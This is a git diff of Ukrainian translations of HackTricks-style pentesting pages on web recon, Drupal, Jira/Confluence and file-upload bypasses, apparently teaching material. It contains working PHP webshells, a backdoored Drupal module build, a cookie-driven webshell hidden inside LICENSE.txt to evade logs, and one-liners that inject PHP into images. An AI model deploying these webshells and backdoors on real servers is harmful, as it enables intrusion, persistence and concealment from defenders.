* [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію.
|
||||
* [ ] Чи є якісь **відомі вразливості** версії технології?
|
||||
* [ ] Використовується якась **відомий технології**? Якісь **корисні трюки** для отримання додаткової інформації?
|
||||
* [ ] Чи є якісь **спеціалізовані сканери** для запуску (наприклад, wpscan)?
|
||||
* [ ] Використовується якась **відомий технології**? Якась **корисна порада** для отримання додаткової інформації?
|
||||
* [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)?
|
||||
* [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
|
||||
* [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
|
||||
* [ ] Розпочніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
* [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
|
||||
* [ ] Почніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
|
||||
* [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки, шукаючи нові **файли** та **каталоги**.
|
||||
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
|
||||
|
@ -122,7 +122,7 @@ _Зверніть увагу, що **один і той же домен** мож
|
|||
|
||||
### Огляд вихідного коду
|
||||
|
||||
Якщо **вихідний код** додатку доступний на **github**, окрім проведення **вашого власного тесту White box** додатку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box тестування**:
|
||||
Якщо **вихідний код** програми доступний на **github**, окрім проведення **вашого власного тесту White box** програми, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box тестування**:
|
||||
|
||||
* Чи є **Change-log або Readme або Version** файл або щось з **інформацією про версію, доступною** через веб?
|
||||
* Як і де зберігаються **облікові дані**? Чи є якийсь (доступний?) **файл** з обліковими даними (іменами користувачів або паролями)?
|
||||
|
@ -183,7 +183,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
|
||||
**Примус помилок**
|
||||
|
||||
Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
|
||||
Веб-сервери можуть **несподівано реагувати**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
|
||||
|
||||
* Доступ до **фальшивих сторінок** на кшталт /whatever\_fake.php (.aspx,.html,.тощо)
|
||||
* **Додайте "\[]", "]]" та "\[\["** у **значеннях cookie** та **значеннях параметрів**, щоб створити помилки
|
||||
|
@ -200,9 +200,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
### **Вразливості SSL/TLS**
|
||||
|
||||
* Якщо додаток **не примушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM**
|
||||
* Якщо додаток **надсилає чутливі дані (паролі) за допомогою HTTP**. Тоді це висока вразливість.
|
||||
* Якщо додаток **надсилає чутливі дані (паролі) через HTTP**. Тоді це висока вразливість.
|
||||
|
||||
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
|
||||
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) та використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -218,13 +218,13 @@ Information about SSL/TLS vulnerabilities:
|
|||
|
||||
### Spidering
|
||||
|
||||
Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
|
||||
Запустіть якийсь **spider** всередині вебу. Мета spider - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнього джерела.
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFider для JS файлів та Archive.org як зовнішнє джерело.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, виглядає так, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішні постачальники (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх.
|
||||
|
@ -242,7 +242,7 @@ Information about SSL/TLS vulnerabilities:
|
|||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Це інструмент, що використовується для виявлення кінцевих точок для заданої цілі.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді в wayback та шукаючи більше посилань).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулінг (навіть заповнюючи форми) та також знаходження чутливої інформації, використовуючи специфічні regex.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для професіоналів у сфері кібербезпеки.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для професіоналів кібербезпеки.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Це пакет Go та [інструмент командного рядка](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та інших цікавих даних з вихідного коду JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького словника для фуззингу та перерахунку.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
|
||||
|
@ -261,7 +261,7 @@ Information about SSL/TLS vulnerabilities:
|
|||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Швидкий: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, а інструмент, який, given the list of found URLs, видалить "дубльовані" URL.
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Розширення Burp для створення списку каталогів з історії burp різних сторінок.
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дубльованими функціями (на основі js імпортів).
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дублікатами функціональностей (на основі js імпортів).
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для виявлення використовуваних технологій та вибору словників для використання.
|
||||
|
||||
**Рекомендовані словники:**
|
||||
|
@ -283,7 +283,7 @@ Information about SSL/TLS vulnerabilities:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід brute-force._
|
||||
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
|
@ -302,12 +302,12 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
|
||||
### Special findings
|
||||
|
||||
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам потрібно **звернути увагу**.
|
||||
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам слід **звернути увагу**.
|
||||
|
||||
**Цікаві файли**
|
||||
|
||||
* Шукайте **посилання** на інші файли всередині **CSS** файлів.
|
||||
* [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md).
|
||||
* [Якщо ви знайдете файл _**.git**_, з нього можна витягти деяку інформацію](git.md).
|
||||
* Якщо ви знайдете _**.env**_, така інформація, як API ключі, паролі бази даних та інша інформація може бути знайдена.
|
||||
* Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони.
|
||||
* **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
|
@ -332,8 +332,8 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я домену**), ви можете спровокувати **розкриття інформації**.\
|
||||
**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) всередині заголовка "WWW-Authenticate".\
|
||||
Ви можете **автоматизувати** це, використовуючи **nmap плагін** "_http-ntlm-info.nse_".
|
||||
**Надішліть** заголовок: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
|
||||
Ви можете **автоматизувати** це, використовуючи **плагін nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
|
@ -357,9 +357,9 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
|
||||
Ви можете використовувати інструменти, такі як [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), щоб моніторити сторінки на предмет модифікацій, які можуть вставити вразливості.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** та хакнути непереможне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо вас цікавить **кар'єра в хакерстві** та хакнути непереможне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -18,7 +18,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
## З модулем PHP Filter
|
||||
|
||||
{% hint style="warning" %}
|
||||
У старіших версіях Drupal **(до версії 8)** було можливим увійти як адміністратор і **увімкнути модуль `PHP filter`**, який "Дозволяє оцінювати вбудований PHP код/фрагменти." Але з версії 8 цей модуль не встановлюється за замовчуванням.
|
||||
У старіших версіях Drupal **(до версії 8)** було можливим увійти як адміністратор і **увімкнути модуль `PHP filter`**, який "дозволяє оцінювати вбудований PHP код/фрагменти." Але з версії 8 цей модуль не встановлюється за замовчуванням.
|
||||
{% endhint %}
|
||||
|
||||
Вам потрібно, щоб **плагін php був встановлений** (перевірте, зайшовши в _/modules/php_, і якщо він повертає **403**, тоді **існує**, якщо **не знайдено**, тоді **плагін php не встановлений**)
|
||||
|
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||||
|
||||
Потім натисніть на _Додати контент_ -> Виберіть _Основна сторінка_ або _Стаття -_> Напишіть _php shellcode в тілі_ -> Виберіть _PHP code_ в _Формат тексту_ -> Виберіть _Попередній перегляд_
|
||||
Потім натисніть на _Додати контент_ -> Виберіть _Основна сторінка_ або _Стаття_ -> Напишіть _php shellcode в тілі_ -> Виберіть _PHP code_ в _Формат тексту_ -> Виберіть _Попередній перегляд_
|
||||
|
||||
![](<../../../.gitbook/assets/image (338).png>)
|
||||
|
||||
|
@ -68,7 +68,7 @@ tar xvf captcha-8.x-1.2.tar.gz
|
|||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* Далі нам потрібно створити файл **`.htaccess`**, щоб надати собі доступ до папки. Це необхідно, оскільки Drupal забороняє прямий доступ до папки **`/modules`**.
|
||||
* Далі нам потрібно створити файл **`.htaccess`**, щоб отримати доступ до папки. Це необхідно, оскільки Drupal забороняє прямий доступ до папки **`/modules`**.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
|
@ -80,14 +80,14 @@ RewriteBase /
|
|||
mv shell.php .htaccess captcha
|
||||
tar cvf captcha.tar.gz captcha/
|
||||
```
|
||||
* Припустимо, що у нас є **адміністративний доступ** до веб-сайту, натисніть на **`Управління`** і потім **`Розширити`** на бічній панелі. Далі натисніть на кнопку **`+ Встановити новий модуль`**, і ми перейдемо на сторінку встановлення, наприклад, `http://drupal-site.local/admin/modules/install`. Перейдіть до архіву з бекдором Captcha і натисніть **`Встановити`**.
|
||||
* Припустимо, що ми маємо **адміністративний доступ** до веб-сайту, натисніть на **`Управління`** і потім **`Розширити`** на бічній панелі. Далі натисніть на кнопку **`+ Встановити новий модуль`**, і ми перейдемо на сторінку встановлення, наприклад, `http://drupal-site.local/admin/modules/install`. Перейдіть до архіву з бекдором Captcha і натисніть **`Встановити`**.
|
||||
* Після успішної установки перейдіть до **`/modules/captcha/shell.php`**, щоб виконати команди.
|
||||
|
||||
## Бекдоринг Drupal з синхронізацією конфігурації <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||||
|
||||
**Пост поділився** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||||
|
||||
### Частина 1 (активація _Медіа_ та _Медійна бібліотека_)
|
||||
### Частина 1 (активація _Медіа_ та _Медійної бібліотеки_)
|
||||
|
||||
У меню _Розширити_ (/admin/modules) ви можете активувати те, що, здається, є плагінами, які вже встановлені. За замовчуванням плагіни _Медіа_ та _Медійна бібліотека_ не активовані, тож давайте їх активуємо.
|
||||
|
||||
|
@ -97,7 +97,7 @@ tar cvf captcha.tar.gz captcha/
|
|||
|
||||
Після активації:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -194,11 +194,11 @@ php_flag engine on
|
|||
```
|
||||
Чому цей трюк класний?
|
||||
|
||||
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми зможемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як легітимний GET запит до текстового файлу.
|
||||
Тому що, як тільки Webshell (який ми назвемо LICENSE.txt) буде завантажено на веб-сервер, ми можемо передавати наші команди через `$_COOKIE`, і в журналах веб-сервера це з'явиться як законний GET запит до текстового файлу.
|
||||
|
||||
Чому ми називаємо наш Webshell LICENSE.txt?
|
||||
|
||||
Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у ядрі Drupal), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
|
||||
Просто тому, що якщо ми візьмемо наступний файл, наприклад [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (який вже присутній у Drupal core), ми маємо файл з 339 рядків і 17.6 КБ розміру, що ідеально підходить для додавання невеликого фрагмента PHP коду посередині (оскільки файл достатньо великий).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -263,7 +263,7 @@ programs whose distribution conditions are different, write to the author
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
І, як ви можете бачити в журналах, виглядає так, ніби запитувався лише txt файл.
|
||||
І, як ви можете бачити в журналах, здається, що запитувався лише txt файл.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Check Privileges
|
||||
## Перевірка привілеїв
|
||||
|
||||
В Jira, **привілеї можна перевірити** будь-яким користувачем, автентифікованим чи ні, через кінцеві точки `/rest/api/2/mypermissions` або `/rest/api/3/mypermissions`. Ці кінцеві точки розкривають поточні привілеї користувача. Значна проблема виникає, коли **неавтентифіковані користувачі мають привілеї**, що вказує на **вразливість безпеки**, яка може бути підставою для **бонусу**. Аналогічно, **неочікувані привілеї для автентифікованих користувачів** також підкреслюють **вразливість**.
|
||||
У Jira, **привілеї можна перевірити** будь-яким користувачем, аутентифікованим чи ні, через кінцеві точки `/rest/api/2/mypermissions` або `/rest/api/3/mypermissions`. Ці кінцеві точки розкривають поточні привілеї користувача. Значна проблема виникає, коли **неаутентифіковані користувачі мають привілеї**, що вказує на **вразливість безпеки**, яка може бути підставою для **бонусу**. Аналогічно, **неочікувані привілеї для аутентифікованих користувачів** також підкреслюють **вразливість**.
|
||||
|
||||
Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагало, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, вказуючи на привілеї, які запитуються: [перевірте тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
Важливе **оновлення** було зроблено **1 лютого 2019 року**, що вимагає, щоб кінцева точка 'mypermissions' включала **параметр 'permission'**. Це вимога має на меті **підвищити безпеку**, вказуючи на привілеї, які запитуються: [перевірте тут](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||
|
||||
* ADD\_COMMENTS
|
||||
* ADMINISTER
|
||||
|
@ -74,7 +74,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
#Check non-authenticated privileges
|
||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||
```
|
||||
## Автоматизована енумерація
|
||||
## Автоматизоване перерахування
|
||||
|
||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||
|
@ -122,14 +122,14 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
|||
|
||||
Ось деякі з дій, які може виконати зловмисний плагін:
|
||||
|
||||
* **Сховати плагіни від адміністраторів**: Можливо сховати зловмисний плагін, інжектуючи деякий фронтенд javascript.
|
||||
* **Сховати плагіни від адміністраторів**: Можливо приховати зловмисний плагін, інжектуючи деякий фронтенд JavaScript.
|
||||
* **Екстракція вкладень і сторінок**: Дозволяє отримати доступ і екстрактувати всі дані.
|
||||
* **Крадіжка токенів сесії**: Додати кінцеву точку, яка буде відображати заголовки у відповіді (з кукі) і деякий javascript, який буде зв'язуватися з нею і витікати кукі.
|
||||
* **Виконання команд**: Звісно, можливо створити плагін, який буде виконувати код.
|
||||
* **Крадіжка токенів сесії**: Додати кінцеву точку, яка буде відображати заголовки у відповіді (з кукі) і деякий JavaScript, який буде зв'язуватися з нею і витікати кукі.
|
||||
* **Виконання команд**: Звичайно, можливо створити плагін, який буде виконувати код.
|
||||
* **Зворотний шелл**: Або отримати зворотний шелл.
|
||||
* **DOM-проксіювання**: Якщо Confluence знаходиться в приватній мережі, буде можливим встановити з'єднання через браузер деякого користувача з доступом до нього і, наприклад, зв'язатися з сервером, виконуючи команди через нього.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакінгу** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,9 +15,9 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -36,7 +36,7 @@
|
|||
|
||||
### Обхід перевірок розширень файлів
|
||||
|
||||
1. Якщо вони застосовуються, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
|
||||
1. Якщо це застосовно, **перевірте** **попередні розширення.** Також протестуйте їх, використовуючи деякі **великі літери**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Перевірте **додавання дійсного розширення перед** виконуваним розширенням (використовуйте також попередні розширення):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
|
@ -62,13 +62,13 @@
|
|||
5. Додайте **ще один шар розширень** до попередньої перевірки:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Спробуйте поставити **exec розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **.php**, але не обов'язково закінчується на .php, буде виконувати код):
|
||||
6. Спробуйте поставити **виконуване розширення перед дійсним розширенням** і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням **.php**, але не обов'язково закінчується на .php, виконає код):
|
||||
* _ex: file.php.png_
|
||||
7. Використання **NTFS альтернативного потоку даних (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
|
||||
7. Використання **альтернативного потоку даних NTFS (ADS)** у **Windows**. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено **порожній файл з забороненим розширенням** (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “**::$data**” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
|
||||
8. Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Максимум 255 байтів для Linux
|
||||
# Максимум 255 байт для Linux
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # мінус 4 тут і додавання .png
|
||||
# Завантажте файл і перевірте відповідь, скільки символів він дозволяє. Скажімо, 236
|
||||
|
@ -82,15 +82,15 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
* Обійдіть перевірки **Content-Type**, встановивши **значення** заголовка **Content-Type** на: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Словник **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* Обійдіть перевірку **magic number**, додавши на початку файлу **байти реального зображення** (заплутайте команду _file_). Або введіть оболонку в **метадані**:\
|
||||
* Обійдіть перевірку **magic number**, додавши на початку файлу **байти реального зображення** (заплутайте команду _file_). Або введіть оболонку всередину **метаданих**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` або ви також можете **ввести корисне навантаження безпосередньо** в зображення:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Якщо **компресія додається до вашого зображення**, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
